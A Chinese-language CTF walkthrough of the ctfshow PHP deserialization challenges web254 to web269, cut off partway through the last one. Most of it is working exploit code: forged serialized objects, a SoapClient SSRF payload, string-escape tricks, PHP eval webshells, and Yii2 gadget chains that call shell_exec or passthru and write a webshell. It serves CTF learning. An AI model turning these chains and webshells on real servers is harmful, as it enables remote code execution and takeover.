web254
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
看着代码挺多 一步步看
首先定位怎么拿flag
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag; //输出flag
}else{
echo "no vip, no flag";
}
}
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
主要是是这段
如果username和
u
相等,
p
a
s
s
w
o
r
d
和
u 相等 ,password和
u相等,password和p 相等执行下一句 赋值 ,然后 返回 isvip等于true
我们直接让isvip 等于true ,然后输入username的时候等于 源代码里面的值
其实就是个判断都还没开始上序列化
web255
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
开始上反序列化了,
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
获取flag的地方
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
然后就是这里 ,username 和password要相等也是,
然后这里反序列化的地方在cookie ,
我们只需要把isvip 改为true 试试
把代码复制到自己的电脑上
改成这样,然后构造payload
GET /?username=xxxxxx&password=xxxxxx HTTP/1.1
Host: 67f048e2-f798-4297-99ac-987be6b53c28.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
Connection: close
web256
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
要这段代码才能获取flag
输入的username 和 password 各种相等,有不要username和password 相等
直接可以修改这里
public $username='xxxxxx1';
public $password='xxxxxx2';
public $isVip=true;
改成这样
生成payload 打过去就好了
web257
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
开始出现魔法函数了
先看能获取flag的地方
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
backDoor 类下面的getinfo方法可以直接代码获取flag
但是没有调用backDoor类,不会执行下面的东西
往上找看看那个能调用
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
这个类存在 两个魔法函数
__construct 和 __destruct 一一解释
__construct
__destruct
__construct是在对象被创建的时候执行这个函数 ,
$this->class=new info(); 这里刚好创建了一个info对象 ;
思路就是把info改为backDoor 他会去执行并调用 这个 backDoor
payload:
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code = "phpinfo();";
public function getInfo(){
eval($this->code);
}
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
?>
修改命令获取flag 就欧克 了
web258 使用+ 绕过 O:数字
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
多加一条 正则
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
user 里面不能包含 [O]:数字
怎么绕过呢
可以在数字前加入+
比如生成的 反序列化是这样
O:11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8}
绕过
O:+11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8}
在11前面加入+ 就可以了 ,后面同理
生成payload
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code = "phpinfo();";
public function getInfo(){
eval($this->code);
}
}
$a = new ctfShowUser();
// echo serialize($a);
$b = 'O:+11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:10:"phpinfo();";}}
';
echo urlencode($b);
在进行url编码
O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D%0D%0A
web259 原生类SoapClient 和 ssrf
题目
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
Notice: Undefined index: vip in /var/www/html/index.php on line 6
Fatal error: Uncaught Error: Call to a member function getFlag() on bool in /var/www/html/index.php:8 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 8
给了一个反序列化的传参,然后去调用getflag ,但是我们不知道是getflag里面是什么
提示:
flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
ip是数组 然后要等于127.0.0.1
post数据为token ,token要等于 ctfshow 然后就会写入flag 到flag.txt ,然后直接访问就好了 应该
看了wp 要使用SoapClient 原生类来构造
PHP: SoapClient - Manual
这个类中有个__call魔术方法(当调用不存在的方法时触发),会调用SoapClient类的构造方法。
exp:
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>
这里不是使用php8 不然不成功
发送payloda
web260
正则
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
web261 file_put_contents写shell
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
魔法函数挺多的
先看能执行eval的代码
public function __invoke(){
eval($this->code);
}
__invoke
只要调用了__invoke 就可以执行代码
把对象当成函数调用才能触发
但是没用找到把对象当成函数调用的点
__wakeup好绕过
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
__sleep
sleep调用不了 ,要序列化才能被调用
public function __sleep(){
$this->username='';
$this->password='';
}
__construct
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
实例化一个对象的时候触发 ,用于变量赋值
__destruct
析构函数,在对象的所有引⽤被删除或者当对象被显式销毁时执⾏的魔术⽅法
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
就是这个函数了,当对象被引用或被销毁就可以触发
public function __destruct(){
if($this->code==0x36d){
file_put_contents('a.php', '一句话');
}
}
这样尝试看看
构造exp
思路 __wakup 和 invoke ,sleep都是用不到的
<?php
class ctfshowvip{
public $username='877.php';
public $password = '<?php eval($_POST["cmd"]); ?>';
public $code = 0x36d;
}
$a = new ctfshowvip();
echo urlencode(serialize($a));
或者这样 只留下有用的
<?php
class ctfshowvip{
public $username;
public $password;
public $code = 877;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
$a = new ctfshowvip('877a.php','<?php eval($_POST["cmd"]); ?>');
echo urlencode(serialize($a));
直接把值传入public 就可以了
然后直接访问就可以
web262 字符串逃逸
<?php
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
存在一个message.php
<?php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
我们要token==admin就可以获取flag
两种解法:
字符串逃逸
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
function filter($msg){
return str_replace('fuck', 'loveU', $msg);
}
//第一步先输出序列化内容
// $a = new message('a','b','c'); //a改为fuck
$msg = new message('fuck','b','c');
// echo serialize($a);
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
//我们要逃逸的是token =admin 才能获取flag
//第二步把匹配规则拿过来
//O:7:"message":4:{s:4:"from";s:4:"fuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";} 生成的序列化
//让他过滤
// $msg_1 = serialize($msg);
//
// $msg_2 = filter($msg_1);
// echo $msg_2;
//O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
//第三步就是构造exp
$msg_1 = serialize($msg);
$msg_2 = filter($msg_1);
echo $msg_2;
//O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
//这里输出的s:4:"loveU" 他原数值是4 ,但是通过替换就变成了5个字符,但是值还是4 就逃逸出来了一个U
//我们要逃逸 user 把user变成 admin 刚好是五个
构造exp
//第三步就是构造exp
$msg = new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c'); //把payload加到fuck后面
$msg_1 = serialize($msg);
$msg_2 = filter($msg_1);
echo $msg_2;
echo "<br>";
$obj = unserialize($msg_2);
var_dump($obj);
// echo base64_encode($msg_2);
//O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}
//payload ";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"admin";} 62个字符 fuck 也要添加为62个fuck
// 生成的值 刚好310个
//O:7:"message":4:{s:4:"from";s:310:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
这样看就把admin 逃逸出去了
最后exp
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
function filter($msg){
return str_replace('fuck', 'loveU', $msg);
}
//第三步就是构造exp
$msg = new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c'); //把payload加到fuck后面
$msg_1 = serialize($msg);
$msg_2 = filter($msg_1);
// echo $msg_2;
// echo "<br>";
// $obj = unserialize($msg_2);
//
// var_dump($obj);
//O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}
//payload ";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"admin";} 62个字符 fuck 也要添加为62个fuck
// 生成的值 刚好310个
//O:7:"message":4:{s:4:"from";s:310:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
//生成exp
echo base64_encode($msg_2);
把生成的base64 提交进去就好了
直接修改为admin
<?php
class message{
public $from;
public $msg;
public $to;
public $token='admin';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$a = new message('a','b','c');
echo base64_encode(serialize($a));
生成的base64
Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO3M6MToiYSI7czozOiJtc2ciO3M6MToiYiI7czoyOiJ0byI7czoxOiJjIjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9
web263 session 反序列化
登录框
这种F12 没有数据,扫描目录发现存在一个www.zip 文件
下载下来搜索 serialize ,eval ,file_ ,exec 这些函数
存在一个魔法函数 __destruct()函数
存在一个file_put_contents 函数可以写入文件
EXP:
//payload
<?php
class User{
public $username="1.php";
public $password='<?php eval($_POST[a]);?>//';
}
echo urlencode(base64_encode(serialize("|".serialize(new User))));
czo5MjoifE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyNjoiPD9waHAgZXZhbCgkX1BPU1RbYV0pOz8%2BLy8iO30iOw%3D%3D
带着cookie 去访问index ,然后再去访问check.php
然后再去访问log_1.php
post 传入 :a=system(‘cat flag.php’);
F12获取flag
参考:
ctfshow web入门 反序列化 263_ctfshow web263-CSDN博客
web263_哔哩哔哩_bilibili
web264 反序列化逃逸
<?php
error_reporting(0);
session_start();
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}
highlight_file(__FILE__);
和262 差不多
使用简单的方式
O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
我们只要token 等于amdin
";s:5:"token";s:5:"admin";} 27个字符
所以我们需要27个fuck
fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck
fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
?f=1&m=2&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
去首页添加payload
然后再去访问 message.php
添加cookie 为 msg=1
刷新就ok
web265 php指针引用 序列地址共享
<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
主要是 token 和 password要全等于
但是这里输入的值肯定是相等的,但是他们的虚拟地址 是不相等的, 就要用到地址共享就要用到php指针引用
这里原本的KaTeX parse error: Expected 'EOF', got '&' at position 7: P 添加为 &̲this -> token 这里就是进行地址指向
看他序列化后输出的值 后password的值是R:2
O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"1";s:8:"password";R:2;}
php序列化中大写字母R代表引用类型,值为一个数字,指示是从根开始的、也就是从对象本身开始的第几个项目,从1开始数,如果要引用对象本身,序列化后为R:1;如果要引用对象内第一个元素,序列化后则为R:2。不论变量间是如何互相引用的,在序列化过程中php无从得知,php只知道哪几个值的地址一模一样,所以php只会将最先出现的值记录下来,后续出现有相同地址的变量就将其值描述为对它的引用。
提交
web266 大小写绕过
<?php
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
只要让他不触发这个异常类就可以
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
/ctfshow/ 不能存在ctfshow这几个字,php是支持大小写的
直接post发送 因为存在php://input
O:7:"ctfshow":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"1";}
把c改为大写
O:7:"Ctfshow":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"1";}
获取flag
web267 YII框架反序列化 外带 ,写webshell
F12查看
发现是YIi框架
版本
2.0 版本 是存在漏洞 反序列化链子的
存在一个登录的地方 ,试试弱口令admin,123456 ,admin/admin admin/admin123
admin/admin 成功登录
登录之后 about的界面变了 ,F12看看
存在一个注释:view-source
添加访问
出现了注入的路径和参数点
r=/backdoor/shell&code=123
服务器发生错误 ,证明存在这个页面
去找找yii框架漏洞 。
挺多的
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
//TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19
}
?>
这个是执行phpinfo的
执行命令 , 修改system
没有回显 白板。。
本来这里是可以外带的 ,但是dnslog起不来 ,ceye也没有带起来
dnslog外带
这样写就可以了
这里写webshell
写webshell
这里的路径 是外带获取pwd的路径的 (看的wp视频)
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'shell_exec';
$this->id = "echo '<?php eval($_POST[1]);? >' > /var/www/html/basic/web/1.php";
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
//TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19
}
?>
报错
成功写入php 现在写一句话
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'shell_exec'; //这里要使用\转义
$this->id = "echo '<?php eval(\$_POST[1]); ?>' > /var/www/html/basic/web/1.php";
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
//TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19
}
?>
成功执行 ,
web268 Yii框架 passthru 命令执行
同样的
但是用上道题的payload 已经不行了
phpinfo已经不行了
换payload
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-05-03 21:55:29
# @Last Modified by: h1xa
# @Last Modified time: 2021-05-04 01:25:28
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('shell_exec', 'echo "<?php eval(\$_POST[1]);phpinfo();?>" >/var/www/html/basic/web/1.php');
echo(base64_encode(serialize($exp)));
}
?>
使用 passthru 可以回显执行命令
web269
只有使用上一个payload
另外的poc
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'id';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{
protected $description;
public function __construct()
{
